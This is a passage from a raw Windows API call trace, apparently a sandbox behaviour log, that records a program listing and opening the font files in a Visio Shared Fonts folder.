lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.994] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0062.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0062.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03270 [0062.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0062.995] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa06d30 [0062.995] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa06d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa06d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0062.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa06d30) returned 1 [0062.995] NtClose (Handle=0x160) returned 0x0 [0062.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa03270) returned 1 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03270 [0062.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03378 [0062.995] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0062.999] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.999] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0062.999] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03480 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03e40 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03588 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03e60 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03690 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03e80 [0063.000] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa03798 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03ea0 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa038a0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03ec0 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa039a8 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9c0) returned 0x9fa458 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa043a8) returned 1 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03ee0 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03f00 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa04d48 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03f20 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa04e50 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.002] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0063.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03f40 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa04f58 [0063.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03f60 [0063.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa05060 [0063.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0063.003] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0063.003] GetLastError () returned 0x12 [0063.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0063.003] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0063.003] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.003] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0063.003] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0063.004] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0063.004] GetLastError () returned 0x12 [0063.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa03378) returned 1 [0063.004] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0063.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa03480) returned 1 [0063.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa03270) returned 1 [0063.005] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, 